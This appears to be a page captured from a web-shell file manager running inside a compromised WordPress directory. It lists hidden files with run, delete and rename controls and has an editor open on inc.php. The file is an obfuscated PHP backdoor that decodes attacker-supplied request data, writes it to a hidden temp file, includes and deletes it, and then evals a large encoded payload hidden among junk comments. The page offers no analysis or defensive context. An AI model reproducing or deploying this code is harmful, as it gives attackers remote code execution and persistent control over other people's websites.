at path:
ROOT
/
wp-content
/
im02ad1c
/
.cache_b
/
inc.php
run:
R
W
Run
.dat
62 By
2026-03-25 11:18:50
R
W
Run
Delete
Rename
.htaccess
76 By
2026-03-24 09:40:32
R
W
Run
Delete
Rename
error_log
5.13 KB
2026-04-01 08:26:03
R
W
Run
Delete
Rename
format.php
11.59 KB
2026-03-24 11:14:27
R
W
Run
Delete
Rename
function.php
2.2 KB
2026-03-24 09:40:35
R
W
Run
Delete
Rename
function.repeat.php
1.21 KB
2026-03-31 04:24:36
R
W
Run
Delete
Rename
inc.php
7.54 KB
2026-04-01 08:29:14
R
W
Run
Delete
Rename
original.php
6.85 KB
2026-04-01 08:25:52
R
W
Run
Delete
Rename
error_log
up
📄
inc.php
Save
<?php if(isset($_REQUEST["d\x61ta"])){ $itm = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); $holder = hex2bin($_REQUEST["d\x61ta"]); $ptr = '' ; foreach(str_split($holder) as $char){$ptr .= chr(ord($char) ^ 54);} foreach ($itm as $dat): if (!!is_dir($dat) && !!is_writable($dat)) { $elem = sprintf("%s/.property_set", $dat); if (file_put_contents($elem, $ptr)) { include $elem; @unlink($elem); exit; } } endforeach; } if(isset($_POST["\x65leme\x6Et"])){ $ref = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm"]); $component = $_POST["\x65leme\x6Et"]; $component = explode ( '.' ,$component) ; $fac= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s1); $len= count($component); for($m= 0; $m< $len; $m++) { $v1= $component[$m]; $chS= ord($s1[$m % $lenS]); $d= ((int)$v1 - $chS -($m % 10)) ^ 23; $fac.=chr($d); } foreach ($ref as $descriptor) { if (is_writable($descriptor) && is_dir($descriptor)) { $reference = "$descriptor" . "/.hld"; $file = fopen($reference, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $reference; @unlink($reference); die(); } } } } #/,AjIE*(*9uBO2[kciJ1z| /*b,P6Y'j'VeX2t$LOS=}H=c uH*///(sF%G<9a(t]ILWv;dQzU6&Q%&S.:OYE6-l@ //Gga'vp2)?O7f9T{uR2Xc parse_STR#H0.X]I?wKg6sn%+/ak?hWNm7UDO,ZZQuD ( /*&2;8gPR.pEM/;dU'<?K3Z]t~|sif>k~*/"0=%4"/*Lu[s(TF{PbYy=Ab*`xz$8#&'u&fv`T_\kYR}zzo=Y*/.#)<|#YvsUp'J&SMD1>ZAA-DJ3(\g!7^d;nAybMTGI '1%72' /*5j5]a1j6O}g.R5bhQFkUW&xM'>v*/.#N}iI{g8#"n4dr]B7QuY\('M@p->hlo=*CX7Zn;S:cDW]@UYK '%52%'#T.>-Mk$JB#f"XdWX|t3@^WMIf,Nf &v).>M^*#QMz!j .#'v5v*jC$Vk9GxM6OIH|*D` "41%5"//uF o~)67ToZ5I5?bS\0-jqc/ysM&O>Rb;a7 ./*UmhnTn"FTZVN@-g/aXfwP7Dy> j1{cE_!BJ-YAp*/"9%5f"/*`Vk6>KNNB6Zu5*_Y]GP)vC l0DnT\qACGM=ALBDxSgJ*/. //;]x}FLmjEWo,aDK '%6d%'/*P&mVf`8Gy^nBmaZL&\sO'aA*/./*Ecla#LPLy-h$"v/_2mI?lrU*NPN] F4&!dbGnH*/"61%5"#Rb)y\{,m%U(!`` . /*oE@Wm]C*Ya'8oL#'li-*/'0&1='/*WbLroZa<41|frxe,OqXeBF|dY)v*/. //?HiS>Vwa>LGy)z5SRo}+m*RIQk+6+[z\Z;PV7IsDlw1* '%53%'#NxQ}R6u%5u)SwQ0)=`H|q8$0CaqO=D^N,nV[U&PN1}Y5!%ULg3'V .#)XDMAi/bY/[46cIOtF#H*ky9?b;@aH '54%7'/*W1r"jQux1(^&S.zQ\)"-2ZF.s&j?$''p"ZJc5~b(Y|'K7v*/.#S6$BX{Shx$++)Li|:5,+x[n ;_61wMJ!Cw&D%~D.ogW{ '2%52'//v9CEG)t!H=~n|]eUYN0ti"m2Ko.kPRyx|!Y3gKPrO!9qdA'W .#&$k}$B0..m8Zh2$kU!KXa1)~bi} '%65%'//SU&hR!ZFd8`WS_$4jMzm)^{/W\5nF(7[qu7kC>z . /*fbnm+~oqkPJ2]v+VM9O<a+L2i%'2/I*/"56&2"#0Y|"8yYY?~1/Hj?C . #3g~d?~3,Y`xLaUE-y"\4/l0r|b3H '=%67'#;49{(OpyC_d*%e;V.L&ulkuY!#yt'+EX,| ./* rtz=TD^e"X*WoE!J%*/'%7A%'//\Zl9r,HRA@<[HK:h&[a&:9-,HuhHyY9hapj_gv?UOeg}}# . //`Mm$3}s9S<$=vAik&VaAY`kJRbH$Y>QoJ|NdlhEtYd '69%4'#PXM|a>Q|zotxlD,Svf>.H|\IR{oLD7\L .//KS7\'q^O:YM +X=J[.4R 'E%66'/*Ga~hOfYT28/x`$LeA/?~_ K"ub=v3_$*/.//T)L%<8eL60^m)x@Z"8 '%4c%' /*7K2Xs;~V_Gmr^Fsg()`Yby1?bF:}.LQoCXIk1ZAC]B/3SrlAUjK*/./*<;EMpZ<O9y2yJR9bpK#@}=V{}B1N*/"41%7"#QI]wGZ>=>Mmdy]sh . #.0~@TN$NfIAo#Z+>y+y {4 "4%65"/*)C4zAc_Qcv~`1ksCqPX9c2Q?>[?*GdWXT[7H*/.//M>?|PcG.}^k4VD) '&3=%'/*}'fzo,|(wfn1hMl4(eWpF\G;BW5 [^k3Oq3i4})e@D*/./*d{<=z|X(%0Id**Jn\*Fz*/"62%6"//U5%Cs)`h(VOHSA+\|!3&5xy}S@OqO[]6<|zi&")_ .//P%{0?|(u@JqARQq"k '1%73'//f="E-O:2b_Bo83>`54ZP@CX7 3C#YtKC32R{"S#eYGY .#Bcz!b{T4C0-ZycwbgU=`$r(x*J\[B|]lM "%45%"#W4jP}43<2-;Hc>,h*Dhd~"&PdLJfK*4{=Tf% .//:;:X|DDs^R!VLwaW&bzt]y:fr4HcX4!{9.3D$\Xr '36%3' //mw%^[4+@ei+ .//TS-d2qf3e|-`FS-7P0dv:I7WOAc#$Q|(4B0H#%#!5ct%*1bx '4%5f'#WGm;| @Vx&\Q|0Z f/]T ./*|XsiQXd]3"G*Tgif<OidM0o9v#8"o7,adzh,yL:8,u{jC*/'%44%'/*hQWmUxsMU]kot)v*|>w&O3`HP=-b#bN[B]2D%>N]vg@*/.#'Ox_},|+\JfU "65%6"/*~~evKmlY~x/wrk[z||;1*/. /*i! 66ob,wmU5yZ:u4*/'3%4F'#X(Nd%_{|(4Z=TX9Sw&V.F_ ./*<!:?+_wGYDCS#nr(e&}-0`JSTAzFB}Dh$1&fCIrGyY*/"%44%" #!|3N'BFjA`v<@aQT4-H}:Qm")l;4+% . #4bth@ 8)}1.f "65&4" //3hJs@gjg>+M-_X{G0_y-~.D*2eKbmb))ODn)U&qpfCK?V2f~N*; .//T1G8 Tt DsE>Lf '=%63'#(+MQz4/!7z;[3O2cfpydnkjJDT!CEJ$(eL]f"xc&r/;>a%b .//*rFG.+~O{hsWXJl}osU.BL-F+`-(8=]kq y8 '%52%'#%ll ;PYn;peY<TX1 m/tdT)y> ./*u+lX4<E77TI3a6sHEII|sg};Or8[?_*}eiUbZoKW(qVxf-c98*/"65%6"/*R/al8v7~W;yUxYdo>y=wJ:b"2,p*/. //P(Or{[1=r<DE>S3$^q.fcj5&^Th%J"V?9i,[N4EI2L<-mk "1%74"/*P&Sb#hD@{t,|4ya6 8r%q$]F;V^r4.%fI|Z#^3iDS=n!^Yx_C*/.//0zL*(aaZxndjP f=/&'t!&h"#S} '%65%' //Q9.62Bi3!-Ua]UXJc~|L)N[=F@h_MR?Ml_UyH\$ . #Z}%R8a5)2z!EfSQDKl#I|I5[D0C6 N-,5;(2h){M(K>1trI{*,L "5F%4" //T],P6y!cMKev.m .#F>_4Msk.iJ4!(z@ _;gRaSD5/hggCQgfcWg{Eg}e '6%75' /*qOx`!\Ff!JsJEq0xLVR7y}HQI:A5*/. #A.p6_=Uz1U#f785v`Xn'#_e Ik_[|{ y^8n "%4E%"//UF73foi2yM^NTjT3fh0f9;Yg\cyySBwO_wHekUR9[&^^e .#Ua3XDe`pSaw<mVPu-;m "43%5"/*kxv-$e6$%{}3=E7*/. #4t9QAr9\C=J{@mCAc=1Ct%PE6k3qQkS "4%69"/*LN}fCj8p=BTlRt(R&:*/. /*rSn(WLLn:h>MA*/'%4F%'#<\X-ub1u4FQB^w&D(oD ./*AUNtX>:=oDeBi?-*YkYXWuYB"5l8LlYWSAegja!_J*/'4e&5' #IwT3KsKhnsrFD=(K:BYt8S2y"V6W-/wtXv=KmzxRnFO11%ai ./*f)Ck<EO~eA)1;=7,KfUeoa5L/@V[_`?MMuesfUB1/Xd~*/'=%73' #*!}B33] /W^D"L*e# "VR9:KU4^Yfh+xpa1-c;c" ./*rf[4@"%B/3xx@cS:w^#*/"%54%"#4NA9[]Pzm`$|b/A[B0O.N@9Q${D;5}EehMKSC<wGg!{KEIR5gKJ^ ./*]BFyMDC|y~x*{gG)4"X4GB5@kdSZ*/"52%5"#*x?l.]zKZ#1T\en|e:1 ./*AavTz?vW?Fmdc\rZ9%0p@*/'F%52' #Tg^](>zJ2h*7nTN8\1i9yTo3N-u*_91/WllVAtsA::#dt7!zxIp .#3&vT;q`(=4*eu}Xgt5NqbHceB]+\1Kv"p)9HP-{) wHulSqf4(X{ '%4F%'//j5S[mGSm&i^'Q4<6|/1NNx)E.|'wVI_ ./*q%s~9:,%w[^ W^Y jh;Rt0la13:RJ+[|g@!K`#[qs#{E*/'54%3'//\)`5<:'`4@dSiGQ0>uoq>.*sktv98c@1w0y4[/__]Q3~x1L%, .//VF4{jBt2Axk3asL#F9z4<}qev~q+?ust7xfey^;M?(qI/{ "1%33"#EWF44>aBlJ1E4+^~'lZ{J#FU .//@@PEFQ,);=qYX7*zNE P:6O]qO^`?C, '&'//UFhCV=:d\%-M}T ,//=I!,OX[j}juY6Sugw68L\0pb;=V{`"$)a,c*O $nifwy1imzxqmm5umzkvmzyudzjndzyutm4etoyu2m#NwJGB\`N;KDU*pP/+< rhL3c\xC ) //6|[FK$>eF(''ml]tW8r}!<OL| ;//8SbitY7xz6$`j8(_ouJ}OsWQss;Z0{E^`; @ // `/xn9QiE.?8?fYhA#KNQ(|ODxmFXi4M&,4C-H^7dr|cW EVAL//eg%B1H(NcOuZjU*8Pzbx%*3I!uL#!O,<TRqL{P@L$f$Dw|RY^rY (#Q9,@qW]Q0WRKaH0MOUix,M}j_ 4G..=cXnp!0FT2K4,z7e,Je'} $nifwy1imzxqmm5umzkvmzyudzjndzyutm4etoyu2m//\cN_tittO[< [#.62>b}rA1w`'8( 2#Bl9Jvtv`~Pk1:LnvOF[T$(ztR"J0Q<oSx*'U%K(&4}p><)Z_ ]#$N;wyq1KMk*&(PuZSzNb~_-0!dd:? (/*I3>'!1RAnP>2,,iJM%c{B:*/$nifwy1imzxqmm5umzkvmzyudzjndzyutm4etoyu2m//CKX~:$4CuxeqdzL"][V,eS23xU]UlbU8 [#%"; Hz:2!mI +/,pw{YF)KOFh4CC8h=v\M\h^R<z(0_w+I*(-CZ 3//9jJd,#fnF+8QD":xWIGV(kw?p:$va672tEr>;'n ]/*&3!,$4:X'?muj;,+@]LK^qhVw^<=7j+*/(#//Vtt,-+=`K@y|r1PQ!,*qo $nifwy1imzxqmm5umzkvmzyudzjndzyutm4etoyu2m/*0%M1kxc:u%1etI8F\&kO(F1;#]h+nz]i^*/[ #(&%'*H(hMZS(Gdd[E+x; OxrU 5 /*A$:8.1?{w+>Daq-%L:/um6tKH{cioBO9x8IX*/]/*sr@ bbY}9)Q^%h/o0'*=Ql~}~UPlC~p~7*/(/*>]n+4"fW6`idQ!0i1cP:2uF`E~qs#*/$nifwy1imzxqmm5umzkvmzyudzjndzyutm4etoyu2m/*H.r\Q3M^}F'}qtM=>~>1\wKt!~uJZ00C_R*/[/*<*6yeCk"3Zfi GLnc0#!`2xmu#t-S|vNr]vZXd&-[PXAi[`"pM?*/1/*g"$AO{Y[~:8X$SABWbJ)?Av^/\?Pg*/]#/2#%PM;!&cUp"AL<@}+-/Ax7SH_R028s)QTn#KF*e/ ( #Ow_|bWJe<`@"%?.50I! " =fE+gIfyk/M5aGGPRS2nzg9TcfHXmQoewUoRalRYwdO3K5lHBVw2pUMEqTxLZLJknmTRezEbntXCIsD2k9naE4cLmIpIq8x9zDp+Y/6VtBIsTK3V3Fdq0SmHbLPMZi3eIXsWK9XJnoMWtjidYbMQTwibzXUGKesE8NBZNTwb1aLLtl9ShCvRbeRMbnpoaN0Do3qqlu1aYQtnw05BcEM+YVdLFk0En9solDPoIPLO0rWYkv6OUpLutvLhOZOQrQd1JRVsZIFDiNLvyQKIcLTJFHdNuuitzaPm10oId6DknBoNRrpkdRmo/aADugZlZqrcPkR85SP6dSNbbi1XV0ilMMXqS0xEDgLHxy3uIacWaJ48/VRjHqRQGXPfTUeYlWald/l5GLlGmVlYq81Egpah0yOfXXPZ9WXOenBpT93FZHrWvfR7RH0HZISeWNdWdJkFHdSRALkifdSSG3RzInEj3MUOqcm3oWVb7imUp0YCPdwRHudKZAaW8ZU+PcCTE7PI5zzdrw73YvT4Xh+rrAJkKK+84XVo8lUC/8bI9r67B/UQKz7LD1y5kYa7xoB81r5zuTsA7lk923r7UnTYLr926I+nwB6kV3C7axK5usd6loZtU4693CdEbG9JIskG3h+pXosFykcaq25X709s90ERaoIj60l62hdfLAY88TsB9+8ppFrzCDG7thuW27iuMtyRByZYAn5EfwpEYPxHqhzII3TEGM7cIO7dxVXhUl/Zh0USkbkHqSIM"/*.@s{O [*>k*l6[RzFm1Qz=cn<~WK8$#Niyf{$k;e<J*/)#)/F@y-{PC-kix )#F?E-v^)yS\-q['0"G#A1Q#sh3b ) //8?{ut}~@X//'p3@#h1{9z )/*Tvn~0$f"S9**/)/*J25W\RSy40a#q8z.Yk*/;#DQ3#sV>jSgC3/C&6u}-6[HX^b-rR